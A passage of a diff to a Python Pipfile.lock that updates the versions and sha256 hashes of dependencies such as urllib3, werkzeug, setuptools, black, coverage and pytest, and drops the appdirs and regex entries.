"sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", + "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "markers": "python_version >= '3.7'", + "version": "==2.1.1" }, "mongoengine": { "hashes": [ @@ -587,11 +558,11 @@ }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:37f0a16df336c69c8c7bf76105a6c4a53a270d648920fa21de654a6649e70404", - "sha256:f0a40fbe1842598a7066f785da5ac103ae2a86b4cebf478e530e1df57464814e" + "sha256:9765e68552803327d58f6c5eca970bb245b7cdf073e2f912a2a3cb50360bc2d8", + "sha256:9fa4ca03d058cba676c3cc16005076ce6a529f144c08b87c69998625fbd84e0a" ], "markers": "python_version >= '3.7'", - "version": "==2022.1" + "version": "==2022.3" }, "pyjwt": { "hashes": [ @@ -750,10 +721,10 @@ }, "pytz": { "hashes": [ - "sha256:3672058bc3453457b622aab7a1c3bfd5ab0bdae451512f6cf25f64ed37f5b87c", - "sha256:acad2d8b20a1af07d4e4c9d2e9285c5ed9104354062f275f3fcd88dcef4f1326" + "sha256:1e760e2fe6a8163bc0b3d9a19c4f84342afa0a2affebfaa84b01b978a02ecaa7", + "sha256:e68985985296d9a66a881eb3193b0906246245294a881e7c8afe623866ac6a5c" ], - "version": "==2021.3" + "version": "==2022.1" }, "pywin32-ctypes": { "hashes": [ @@ -780,19 +751,19 @@ }, "s3transfer": { "hashes": [ - "sha256:25c140f5c66aa79e1ac60be50dcd45ddc59e83895f062a3aab263b870102911f", - "sha256:69d264d3e760e569b78aaa0f22c97e955891cd22e32b10c51f784eeda4d9d10a" + "sha256:7a6f4c4d1fdb9a2b640244008e142cbc2cd3ae34b386584ef044dd0f27101971", + "sha256:95c58c194ce657a5f4fb0b9e60a84968c808888aed628cd98ab8771fe1db98ed" ], "markers": "python_version >= '3.6'", - "version": "==0.5.1" + "version": "==0.5.2" }, "setuptools": { "hashes": [ - "sha256:43a5575eea6d3459789316e1596a3d2a0d215260cacf4189508112f35c9a145b", - "sha256:66b8598da112b8dc8cd941d54cf63ef91d3b50657b374457eda5851f3ff6a899" + "sha256:425ec0e0014c5bcc1104dd1099de6c8f0584854fc9a4f512575f5ed5ee399fb9", + "sha256:6d59c30ce22dd583b42cacf51eebe4c6ea72febaa648aa8b30e5015d23a191fe" ], "markers": "python_version >= '3.7'", - "version": "==60.8.2" + "version": "==61.3.0" }, "six": { "hashes": [ @@ -804,27 +775,27 @@ }, "typing-extensions": { "hashes": [ - "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", - "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" + "sha256:1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42", + "sha256:21c85e0fe4b9a155d0799430b0ad741cdce7e359660ccbd8b530613e8df88ce2" ], "markers": "python_version < '3.8'", - "version": "==4.0.1" + "version": "==4.1.1" }, "urllib3": { "hashes": [ - "sha256:000ca7f471a233c2251c6c7023ee85305721bfdf18621ebff4fd17a8653427ed", - "sha256:0e7c33d9a63e7ddfcb86780aac87befc2fbddf46c58dbb487e0855f7ceec283c" + "sha256:44ece4d53fb1706f667c9bd1c648f5469a2ec925fcf3a776667042d645472c14", + "sha256:aabaf16477806a5e1dd19aa41f8c2b7950dd3c746362d7e3223dbe6de6ac448e" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", - "version": "==1.26.8" + "version": "==1.26.9" }, "werkzeug": { "hashes": [ - "sha256:1421ebfc7648a39a5c58c601b154165d05cf47a3cd0ccb70857cbdacf6c8f2b8", - "sha256:b863f8ff057c522164b6067c9e28b041161b4be5ba4d0daceeaa50a163822d3c" + "sha256:094ecfc981948f228b30ee09dbfe250e474823b69b9b1292658301b5894bbf08", + "sha256:9b55466a3e99e13b1f0686a66117d39bda85a992166e0a79aedfcf3586328f7a" ], "index": "pypi", - "version": "==2.0.3" + "version": "==2.1.0" }, "wirerope": { "hashes": [ @@ -906,13 +877,6 @@ } }, "develop": { - "appdirs": { - "hashes": [ - "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41", - "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128" - ], - "version": "==1.4.4" - }, "atomicwrites": { "hashes": [ "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", @@ -931,10 +895,32 @@ }, "black": { "hashes": [ - "sha256:1c02557aa099101b9d21496f8a914e9ed2222ef70336404eeeac8edba836fbea" + "sha256:06f9d8846f2340dfac80ceb20200ea5d1b3f181dd0556b47af4e8e0b24fa0a6b", + "sha256:10dbe6e6d2988049b4655b2b739f98785a884d4d6b85bc35133a8fb9a2233176", + "sha256:2497f9c2386572e28921fa8bec7be3e51de6801f7459dffd6e62492531c47e09", + "sha256:30d78ba6bf080eeaf0b7b875d924b15cd46fec5fd044ddfbad38c8ea9171043a", + "sha256:328efc0cc70ccb23429d6be184a15ce613f676bdfc85e5fe8ea2a9354b4e9015", + "sha256:35020b8886c022ced9282b51b5a875b6d1ab0c387b31a065b84db7c33085ca79", + "sha256:5795a0375eb87bfe902e80e0c8cfaedf8af4d49694d69161e5bd3206c18618bb", + "sha256:5891ef8abc06576985de8fa88e95ab70641de6c1fca97e2a15820a9b69e51b20", + "sha256:637a4014c63fbf42a692d22b55d8ad6968a946b4a6ebc385c5505d9625b6a464", + "sha256:67c8301ec94e3bcc8906740fe071391bce40a862b7be0b86fb5382beefecd968", + "sha256:6d2fc92002d44746d3e7db7cf9313cf4452f43e9ea77a2c939defce3b10b5c82", + "sha256:6ee227b696ca60dd1c507be80a6bc849a5a6ab57ac7352aad1ffec9e8b805f21", + "sha256:863714200ada56cbc366dc9ae5291ceb936573155f8bf8e9de92aef51f3ad0f0", + "sha256:9b542ced1ec0ceeff5b37d69838106a6348e60db7b8fdd245294dc1d26136265", + "sha256:a6342964b43a99dbc72f72812bf88cad8f0217ae9acb47c0d4f141a6416d2d7b", + "sha256:ad4efa5fad66b903b4a5f96d91461d90b9507a812b3c5de657d544215bb7877a", + "sha256:bc58025940a896d7e5356952228b68f793cf5fcb342be703c3a2669a1488cb72", + "sha256:cc1e1de68c8e5444e8f94c3670bb48a2beef0e91dddfd4fcc29595ebd90bb9ce", + "sha256:cee3e11161dde1b2a33a904b850b0899e0424cc331b7295f2a9698e79f9a69a0", + "sha256:e3556168e2e5c49629f7b0f377070240bd5511e45e25a4497bb0073d9dda776a", + "sha256:e8477ec6bbfe0312c128e74644ac8a02ca06bcdb8982d4ee06f209be28cdf163", + "sha256:ee8f1f7228cce7dffc2b464f07ce769f478968bfb3dd1254a4c2eeed84928aad", + "sha256:fd57160949179ec517d32ac2ac898b5f20d68ed1a9c977346efbac9c2f1e779d" ], "index": "pypi", - "version": "==20.8b1" + "version": "==22.3.0" }, "certifi": { "hashes": [ @@ -945,19 +931,19 @@ }, "charset-normalizer": { "hashes": [ - "sha256:2842d8f5e82a1f6aa437380934d5e1cd4fcf2003b06fed6940769c164a480a45", - "sha256:98398a9d69ee80548c762ba991a4728bfc3836768ed226b3945908d1a688371c" + "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", + "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" ], "markers": "python_version >= '3'", - "version": "==2.0.11" + "version": "==2.0.12" }, "click": { "hashes": [ - "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", - "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" + "sha256:24e1a4a9ec5bf6299411369b208c1df2188d9eb8d916302fe6bf03faed227f1e", + "sha256:479707fe14d9ec9a0757618b7a100a0ae4c4e236fac5b7f80ca68028141a1a72" ], - "markers": "python_version >= '3.6'", - "version": "==8.0.3" + "markers": "python_version >= '3.7'", + "version": "==8.1.2" }, "colorama": { "hashes": [ @@ -969,50 +955,50 @@ }, "coverage": { "hashes": [ - "sha256:1245ab82e8554fa88c4b2ab1e098ae051faac5af829efdcf2ce6b34dccd5567c", - "sha256:1bc6d709939ff262fd1432f03f080c5042dc6508b6e0d3d20e61dd045456a1a0", - "sha256:25e73d4c81efa8ea3785274a2f7f3bfbbeccb6fcba2a0bdd3be9223371c37554", - "sha256:276b13cc085474e482566c477c25ed66a097b44c6e77132f3304ac0b039f83eb", - "sha256:2aed4761809640f02e44e16b8b32c1a5dee5e80ea30a0ff0912158bde9c501f2", - "sha256:2dd70a167843b4b4b2630c0c56f1b586fe965b4f8ac5da05b6690344fd065c6b", - "sha256:352c68e233409c31048a3725c446a9e48bbff36e39db92774d4f2380d630d8f8", - "sha256:3f2b05757c92ad96b33dbf8e8ec8d4ccb9af6ae3c9e9bd141c7cc44d20c6bcba", - "sha256:448d7bde7ceb6c69e08474c2ddbc5b4cd13c9e4aa4a717467f716b5fc938a734", - "sha256:463e52616ea687fd323888e86bf25e864a3cc6335a043fad6bbb037dbf49bbe2", - "sha256:482fb42eea6164894ff82abbcf33d526362de5d1a7ed25af7ecbdddd28fc124f", - "sha256:56c4a409381ddd7bbff134e9756077860d4e8a583d310a6f38a2315b9ce301d0", - "sha256:56d296cbc8254a7dffdd7bcc2eb70be5a233aae7c01856d2d936f5ac4e8ac1f1", - "sha256:5e15d424b8153756b7c903bde6d4610be0c3daca3986173c18dd5c1a1625e4cd", - "sha256:618eeba986cea7f621d8607ee378ecc8c2504b98b3fdc4952b30fe3578304687", - "sha256:61d47a897c1e91f33f177c21de897267b38fbb45f2cd8e22a710bcef1df09ac1", - "sha256:621f6ea7260ea2ffdaec64fe5cb521669984f567b66f62f81445221d4754df4c", - "sha256:6a5cdc3adb4f8bb8d8f5e64c2e9e282bc12980ef055ec6da59db562ee9bdfefa", - "sha256:6c3f6158b02ac403868eea390930ae64e9a9a2a5bbfafefbb920d29258d9f2f8", - "sha256:704f89b87c4f4737da2860695a18c852b78ec7279b24eedacab10b29067d3a38", - "sha256:72128176fea72012063200b7b395ed8a57849282b207321124d7ff14e26988e8", - "sha256:78fbb2be068a13a5d99dce9e1e7d168db880870f7bc73f876152130575bd6167", - "sha256:7bff3a98f63b47464480de1b5bdd80c8fade0ba2832c9381253c9b74c4153c27", - "sha256:84f2436d6742c01136dd940ee158bfc7cf5ced3da7e4c949662b8703b5cd8145", - "sha256:9976fb0a5709988778ac9bc44f3d50fccd989987876dfd7716dee28beed0a9fa", - "sha256:9ad0a117b8dc2061ce9461ea4c1b4799e55edceb236522c5b8f958ce9ed8fa9a", - "sha256:9e3dd806f34de38d4c01416344e98eab2437ac450b3ae39c62a0ede2f8b5e4ed", - "sha256:9eb494070aa060ceba6e4bbf44c1bc5fa97bfb883a0d9b0c9049415f9e944793", - "sha256:9fde6b90889522c220dd56a670102ceef24955d994ff7af2cb786b4ba8fe11e4", - "sha256:9fff3ff052922cb99f9e52f63f985d4f7a54f6b94287463bc66b7cdf3eb41217", - "sha256:a06c358f4aed05fa1099c39decc8022261bb07dfadc127c08cfbd1391b09689e", - "sha256:a4f923b9ab265136e57cc14794a15b9dcea07a9c578609cd5dbbfff28a0d15e6", - "sha256:c5b81fb37db76ebea79aa963b76d96ff854e7662921ce742293463635a87a78d", - "sha256:d5ed164af5c9078596cfc40b078c3b337911190d3faeac830c3f1274f26b8320", - "sha256:d651fde74a4d3122e5562705824507e2f5b2d3d57557f1916c4b27635f8fbe3f", - "sha256:de73fca6fb403dd72d4da517cfc49fcf791f74eee697d3219f6be29adf5af6ce", - "sha256:e647a0be741edbb529a72644e999acb09f2ad60465f80757da183528941ff975", - "sha256:e92c7a5f7d62edff50f60a045dc9542bf939758c95b2fcd686175dd10ce0ed10", - "sha256:eeffd96882d8c06d31b65dddcf51db7c612547babc1c4c5db6a011abe9798525", - "sha256:f5a4551dfd09c3bd12fca8144d47fe7745275adf3229b7223c2f9e29a975ebda", - "sha256:fac0bcc5b7e8169bffa87f0dcc24435446d329cbc2b5486d155c2e0f3b493ae1" + "sha256:03e2a7826086b91ef345ff18742ee9fc47a6839ccd517061ef8fa1976e652ce9", + "sha256:07e6db90cd9686c767dcc593dff16c8c09f9814f5e9c51034066cad3373b914d", + "sha256:18d520c6860515a771708937d2f78f63cc47ab3b80cb78e86573b0a760161faf", + "sha256:1ebf730d2381158ecf3dfd4453fbca0613e16eaa547b4170e2450c9707665ce7", + "sha256:21b7745788866028adeb1e0eca3bf1101109e2dc58456cb49d2d9b99a8c516e6", + "sha256:26e2deacd414fc2f97dd9f7676ee3eaecd299ca751412d89f40bc01557a6b1b4", + "sha256:2c6dbb42f3ad25760010c45191e9757e7dce981cbfb90e42feef301d71540059", + "sha256:2fea046bfb455510e05be95e879f0e768d45c10c11509e20e06d8fcaa31d9e39", + "sha256:34626a7eee2a3da12af0507780bb51eb52dca0e1751fd1471d0810539cefb536", + "sha256:37d1141ad6b2466a7b53a22e08fe76994c2d35a5b6b469590424a9953155afac", + "sha256:46191097ebc381fbf89bdce207a6c107ac4ec0890d8d20f3360345ff5976155c", + "sha256:4dd8bafa458b5c7d061540f1ee9f18025a68e2d8471b3e858a9dad47c8d41903", + "sha256:4e21876082ed887baed0146fe222f861b5815455ada3b33b890f4105d806128d", + "sha256:58303469e9a272b4abdb9e302a780072c0633cdcc0165db7eec0f9e32f901e05", + "sha256:5ca5aeb4344b30d0bec47481536b8ba1181d50dbe783b0e4ad03c95dc1296684", + "sha256:68353fe7cdf91f109fc7d474461b46e7f1f14e533e911a2a2cbb8b0fc8613cf1", + "sha256:6f89d05e028d274ce4fa1a86887b071ae1755082ef94a6740238cd7a8178804f", + "sha256:7a15dc0a14008f1da3d1ebd44bdda3e357dbabdf5a0b5034d38fcde0b5c234b7", + "sha256:8bdde1177f2311ee552f47ae6e5aa7750c0e3291ca6b75f71f7ffe1f1dab3dca", + "sha256:8ce257cac556cb03be4a248d92ed36904a59a4a5ff55a994e92214cde15c5bad", + "sha256:8cf5cfcb1521dc3255d845d9dca3ff204b3229401994ef8d1984b32746bb45ca", + "sha256:8fbbdc8d55990eac1b0919ca69eb5a988a802b854488c34b8f37f3e2025fa90d", + "sha256:9548f10d8be799551eb3a9c74bbf2b4934ddb330e08a73320123c07f95cc2d92", + "sha256:96f8a1cb43ca1422f36492bebe63312d396491a9165ed3b9231e778d43a7fca4", + "sha256:9b27d894748475fa858f9597c0ee1d4829f44683f3813633aaf94b19cb5453cf", + "sha256:9baff2a45ae1f17c8078452e9e5962e518eab705e50a0aa8083733ea7d45f3a6", + "sha256:a2a8b8bcc399edb4347a5ca8b9b87e7524c0967b335fbb08a83c8421489ddee1", + "sha256:acf53bc2cf7282ab9b8ba346746afe703474004d9e566ad164c91a7a59f188a4", + "sha256:b0be84e5a6209858a1d3e8d1806c46214e867ce1b0fd32e4ea03f4bd8b2e3359", + "sha256:b31651d018b23ec463e95cf10070d0b2c548aa950a03d0b559eaa11c7e5a6fa3", + "sha256:b78e5afb39941572209f71866aa0b206c12f0109835aa0d601e41552f9b3e620", + "sha256:c76aeef1b95aff3905fb2ae2d96e319caca5b76fa41d3470b19d4e4a3a313512", + "sha256:dd035edafefee4d573140a76fdc785dc38829fe5a455c4bb12bac8c20cfc3d69", + "sha256:dd6fe30bd519694b356cbfcaca9bd5c1737cddd20778c6a581ae20dc8c04def2", + "sha256:e5f4e1edcf57ce94e5475fe09e5afa3e3145081318e5fd1a43a6b4539a97e518", + "sha256:ec6bc7fe73a938933d4178c9b23c4e0568e43e220aef9472c4f6044bfc6dd0f0", + "sha256:f1555ea6d6da108e1999b2463ea1003fe03f29213e459145e70edbaf3e004aaa", + "sha256:f5fa5803f47e095d7ad8443d28b01d48c0359484fec1b9d8606d0e3282084bc4", + "sha256:f7331dbf301b7289013175087636bbaf5b2405e57259dd2c42fdcc9fcc47325e", + "sha256:f9987b0354b06d4df0f4d3e0ec1ae76d7ce7cbca9a2f98c25041eb79eec766f1", + "sha256:fd9e830e9d8d89b20ab1e5af09b32d33e1a08ef4c4e14411e559556fd788e6b2" ], "index": "pypi", - "version": "==6.3.1" + "version": "==6.3.2" }, "distlib": { "hashes": [ @@ -1023,26 +1009,26 @@ }, "dlint": { "hashes": [ - "sha256:e7297325f57e6b5318d88fba2497f9fea6830458cd5aecb36150856db010f409" + "sha256:344823d299439aa94fe276b2b3b90733026787d25713c664e137cf5f7d0645f7" ], "index": "pypi", - "version": "==0.11.0" + "version": "==0.12.0" }, "filelock": { "hashes": [ - "sha256:38b4f4c989f9d06d44524df1b24bd19e167d851f19b50bf3e3559952dddc5b80", - "sha256:cf0fc6a2f8d26bd900f19bf33915ca70ba4dd8c56903eeb14e1e7a2fd7590146" + "sha256:9cd540a9352e432c7246a48fe4e8712b10acb1df2ad1f30e8c070b82ae1fed85", + "sha256:f8314284bfffbdcfa0ff3d7992b023d4c628ced6feb957351d4c48d059f56bc0" ], "markers": "python_version >= '3.7'", - "version": "==3.4.2" + "version": "==3.6.0" }, "flake8": { "hashes": [ - "sha256:12d05ab02614b6aee8df7c36b97d1a3b2372761222b19b58621355e82acddcff", - "sha256:78873e372b12b093da7b5e5ed302e8ad9e988b38b063b61ad937f26ca58fc5f0" + "sha256:479b1304f72536a55948cb40a32dce8bb0ffe3501e26eaf292c7e60eb5e0428d", + "sha256:806e034dda44114815e23c16ef92f95c91e4c71100ff52813adf7132a6ad870d" ], "index": "pypi", - "version": "==3.9.0" + "version": "==4.0.1" }, "idna": { "hashes": [ @@ -1054,11 +1040,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:6affcdb3aec542dd98df8211e730bba6c5f2bec8288d47bacacde898f548c9ad", - "sha256:9e5e553bbba1843cb4a00823014b907616be46ee503d2b9ba001d214a8da218f" + "sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6", + "sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539" ], "markers": "python_version < '3.8'", - "version": "==4.11.0" + "version": "==4.11.3" }, "iniconfig": { "hashes": [ @@ -1069,11 +1055,11 @@ }, "isort": { "hashes": [ - "sha256:0a943902919f65c5684ac4e0154b1ad4fac6dcaa5d9f3426b732f1c8b5419be6", - "sha256:2bb1680aad211e3c9944dbce1d4ba09a989f04e238296c87fe2139faa26d655d" + "sha256:6f62d78e2f89b4500b080fe3a81690850cd254227f27f75c3a0c491a1f351ba7", + "sha256:e8443a5e7a020e9d7f97f1d7d9cd17c88bcb3bc7e218bf9cf5095fe550be2951" ], "index": "pypi", - "version": "==5.8.0" + "version": "==5.10.1" }, "mccabe": { "hashes": [ @@ -1114,11 +1100,11 @@ }, "platformdirs": { "hashes": [ - "sha256:30671902352e97b1eafd74ade8e4a694782bd3471685e78c32d0fdfd3aa7e7bb", - "sha256:8ec11dfba28ecc0715eb5fb0147a87b1bf325f349f3da9aab2cd6b50b96b692b" + "sha256:7535e70dfa32e84d4b34996ea99c5e432fa29a708d0f4e394bbcb2a8faa4f16d", + "sha256:bcae7cab893c2d310a711b70b24efb93334febe65f8de776ee320b517471e227" ], "markers": "python_version >= '3.7'", - "version": "==2.5.0" + "version": "==2.5.1" }, "pluggy": { "hashes": [ @@ -1138,19 +1124,19 @@ }, "pycodestyle": { "hashes": [ - "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068", - "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef" + "sha256:720f8b39dde8b293825e7ff02c475f3077124006db4f440dcbc9a20b76548a20", + "sha256:eddd5847ef438ea1c7870ca7eb78a9d47ce0cdb4851a5523949f2601d0cbbe7f" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==2.7.0" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==2.8.0" }, "pyflakes": { "hashes": [ - "sha256:7893783d01b8a89811dd72d7dfd4d84ff098e5eed95cfa8905b22bbffe52efc3", - "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db" + "sha256:05a85c2872edf37a4ed30b0cce2f6093e1d0581f8c19d7393122da7e25b2b24c", + "sha256:3bb3a3f256f4b7968c9c788781e4ff07dce46bdf12339dcda61053375426ee2e" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==2.3.1" + "version": "==2.4.0" }, "pyparsing": { "hashes": [ @@ -1162,11 +1148,11 @@ }, "pytest": { "hashes": [ - "sha256:42901e6bd4bd4a0e533358a86e848427a49005a3256f657c5c8f8dd35ef137a9", - "sha256:dad48ffda394e5ad9aa3b7d7ddf339ed502e5e365b1350e0af65f4a602344b11" + "sha256:841132caef6b1ad17a9afde46dc4f6cfa59a05f9555aae5151f73bdf2820ca63", + "sha256:92f723789a8fdd7180b6b06483874feca4c48a5c76968e03bb3e7f806a1869ea" ], "index": "pypi", - "version": "==7.0.0" + "version": "==7.1.1" }, "pytest-cov": { "hashes": [ @@ -1176,85 +1162,6 @@ "index": "pypi", "version": "==3.0.0" }, - "regex": { - "hashes": [ - "sha256:04611cc0f627fc4a50bc4a9a2e6178a974c6a6a4aa9c1cca921635d2c47b9c87", - "sha256:0b5d6f9aed3153487252d00a18e53f19b7f52a1651bc1d0c4b5844bc286dfa52", - "sha256:0d2f5c3f7057530afd7b739ed42eb04f1011203bc5e4663e1e1d01bb50f813e3", - "sha256:11772be1eb1748e0e197a40ffb82fb8fd0d6914cd147d841d9703e2bef24d288", - "sha256:1333b3ce73269f986b1fa4d5d395643810074dc2de5b9d262eb258daf37dc98f", - "sha256:16f81025bb3556eccb0681d7946e2b35ff254f9f888cff7d2120e8826330315c", - "sha256:1a171eaac36a08964d023eeff740b18a415f79aeb212169080c170ec42dd5184", - "sha256:1d6301f5288e9bdca65fab3de6b7de17362c5016d6bf8ee4ba4cbe833b2eda0f", - "sha256:1e031899cb2bc92c0cf4d45389eff5b078d1936860a1be3aa8c94fa25fb46ed8", - "sha256:1f8c0ae0a0de4e19fddaaff036f508db175f6f03db318c80bbc239a1def62d02", - "sha256:2245441445099411b528379dee83e56eadf449db924648e5feb9b747473f42e3", - "sha256:22709d701e7037e64dae2a04855021b62efd64a66c3ceed99dfd684bfef09e38", - "sha256:24c89346734a4e4d60ecf9b27cac4c1fee3431a413f7aa00be7c4d7bbacc2c4d", - "sha256:25716aa70a0d153cd844fe861d4f3315a6ccafce22b39d8aadbf7fcadff2b633", - "sha256:2dacb3dae6b8cc579637a7b72f008bff50a94cde5e36e432352f4ca57b9e54c4", - "sha256:34316bf693b1d2d29c087ee7e4bb10cdfa39da5f9c50fa15b07489b4ab93a1b5", - "sha256:36b2d700a27e168fa96272b42d28c7ac3ff72030c67b32f37c05616ebd22a202", - "sha256:37978254d9d00cda01acc1997513f786b6b971e57b778fbe7c20e30ae81a97f3", - "sha256:38289f1690a7e27aacd049e420769b996826f3728756859420eeee21cc857118", - "sha256:385ccf6d011b97768a640e9d4de25412204fbe8d6b9ae39ff115d4ff03f6fe5d", - "sha256:3c7ea86b9ca83e30fa4d4cd0eaf01db3ebcc7b2726a25990966627e39577d729", - "sha256:49810f907dfe6de8da5da7d2b238d343e6add62f01a15d03e2195afc180059ed", - "sha256:519c0b3a6fbb68afaa0febf0d28f6c4b0a1074aefc484802ecb9709faf181607", - "sha256:51f02ca184518702975b56affde6c573ebad4e411599005ce4468b1014b4786c", - "sha256:552a39987ac6655dad4bf6f17dd2b55c7b0c6e949d933b8846d2e312ee80005a", - "sha256:596f5ae2eeddb79b595583c2e0285312b2783b0ec759930c272dbf02f851ff75", - "sha256:6014038f52b4b2ac1fa41a58d439a8a00f015b5c0735a0cd4b09afe344c94899", - "sha256:61ebbcd208d78658b09e19c78920f1ad38936a0aa0f9c459c46c197d11c580a0", - "sha256:6213713ac743b190ecbf3f316d6e41d099e774812d470422b3a0f137ea635832", - "sha256:637e27ea1ebe4a561db75a880ac659ff439dec7f55588212e71700bb1ddd5af9", - "sha256:6aa427c55a0abec450bca10b64446331b5ca8f79b648531138f357569705bc4a", - "sha256:6ca45359d7a21644793de0e29de497ef7f1ae7268e346c4faf87b421fea364e6", - "sha256:6db1b52c6f2c04fafc8da17ea506608e6be7086715dab498570c3e55e4f8fbd1", - "sha256:752e7ddfb743344d447367baa85bccd3629c2c3940f70506eb5f01abce98ee68", - "sha256:760c54ad1b8a9b81951030a7e8e7c3ec0964c1cb9fee585a03ff53d9e531bb8e", - "sha256:768632fd8172ae03852e3245f11c8a425d95f65ff444ce46b3e673ae5b057b74", - "sha256:7a0b9f6a1a15d494b35f25ed07abda03209fa76c33564c09c9e81d34f4b919d7", - "sha256:7e070d3aef50ac3856f2ef5ec7214798453da878bb5e5a16c16a61edf1817cc3", - "sha256:7e12949e5071c20ec49ef00c75121ed2b076972132fc1913ddf5f76cae8d10b4", - "sha256:7e26eac9e52e8ce86f915fd33380f1b6896a2b51994e40bb094841e5003429b4", - "sha256:85ffd6b1cb0dfb037ede50ff3bef80d9bf7fa60515d192403af6745524524f3b", - "sha256:8618d9213a863c468a865e9d2ec50221015f7abf52221bc927152ef26c484b4c", - "sha256:8acef4d8a4353f6678fd1035422a937c2170de58a2b29f7da045d5249e934101", - "sha256:8d2f355a951f60f0843f2368b39970e4667517e54e86b1508e76f92b44811a8a", - "sha256:90b6840b6448203228a9d8464a7a0d99aa8fa9f027ef95fe230579abaf8a6ee1", - "sha256:9187500d83fd0cef4669385cbb0961e227a41c0c9bc39219044e35810793edf7", - "sha256:93c20777a72cae8620203ac11c4010365706062aa13aaedd1a21bb07adbb9d5d", - "sha256:93cce7d422a0093cfb3606beae38a8e47a25232eea0f292c878af580a9dc7605", - "sha256:94c623c331a48a5ccc7d25271399aff29729fa202c737ae3b4b28b89d2b0976d", - "sha256:97f32dc03a8054a4c4a5ab5d761ed4861e828b2c200febd4e46857069a483916", - "sha256:9a2bf98ac92f58777c0fafc772bf0493e67fcf677302e0c0a630ee517a43b949", - "sha256:a602bdc8607c99eb5b391592d58c92618dcd1537fdd87df1813f03fed49957a6", - "sha256:a9d24b03daf7415f78abc2d25a208f234e2c585e5e6f92f0204d2ab7b9ab48e3", - "sha256:abfcb0ef78df0ee9df4ea81f03beea41849340ce33a4c4bd4dbb99e23ec781b6", - "sha256:b013f759cd69cb0a62de954d6d2096d648bc210034b79b1881406b07ed0a83f9", - "sha256:b02e3e72665cd02afafb933453b0c9f6c59ff6e3708bd28d0d8580450e7e88af", - "sha256:b52cc45e71657bc4743a5606d9023459de929b2a198d545868e11898ba1c3f59", - "sha256:ba37f11e1d020969e8a779c06b4af866ffb6b854d7229db63c5fdddfceaa917f", - "sha256:bb804c7d0bfbd7e3f33924ff49757de9106c44e27979e2492819c16972ec0da2", - "sha256:bf594cc7cc9d528338d66674c10a5b25e3cde7dd75c3e96784df8f371d77a298", - "sha256:c38baee6bdb7fe1b110b6b3aaa555e6e872d322206b7245aa39572d3fc991ee4", - "sha256:c73d2166e4b210b73d1429c4f1ca97cea9cc090e5302df2a7a0a96ce55373f1c", - "sha256:c9099bf89078675c372339011ccfc9ec310310bf6c292b413c013eb90ffdcafc", - "sha256:cf0db26a1f76aa6b3aa314a74b8facd586b7a5457d05b64f8082a62c9c49582a", - "sha256:d19a34f8a3429bd536996ad53597b805c10352a8561d8382e05830df389d2b43", - "sha256:da80047524eac2acf7c04c18ac7a7da05a9136241f642dd2ed94269ef0d0a45a", - "sha256:de2923886b5d3214be951bc2ce3f6b8ac0d6dfd4a0d0e2a4d2e5523d8046fdfb", - "sha256:defa0652696ff0ba48c8aff5a1fac1eef1ca6ac9c660b047fc8e7623c4eb5093", - "sha256:e54a1eb9fd38f2779e973d2f8958fd575b532fe26013405d1afb9ee2374e7ab8", - "sha256:e5c31d70a478b0ca22a9d2d76d520ae996214019d39ed7dd93af872c7f301e52", - "sha256:ebaeb93f90c0903233b11ce913a7cb8f6ee069158406e056f884854c737d2442", - "sha256:ecfe51abf7f045e0b9cdde71ca9e153d11238679ef7b5da6c82093874adf3338", - "sha256:f99112aed4fb7cee00c7f77e8b964a9b10f69488cdff626ffd797d02e2e4484f", - "sha256:fd914db437ec25bfa410f8aa0aa2f3ba87cdfc04d9919d608d02330947afaeab" - ], - "version": "==2022.1.18" - }, "requests": { "hashes": [ "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", @@ -1298,7 +1205,7 @@ "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc", "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f" ], - "markers": "python_version >= '3.7'", + "markers": "python_version < '3.11'", "version": "==2.0.1" }, "typed-ast": { @@ -1328,32 +1235,32 @@ "sha256:f290617f74a610849bd8f5514e34ae3d09eafd521dceaa6cf68b3f4414266d4e", "sha256:f30ddd110634c2d7534b2d4e0e22967e88366b0d356b24de87419cc4410c41b7" ], - "markers": "python_version >= '3.6'", + "markers": "python_version < '3.8' and implementation_name == 'cpython'", "version": "==1.5.2" }, "typing-extensions": { "hashes": [ - "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", - "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" + "sha256:1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42", + 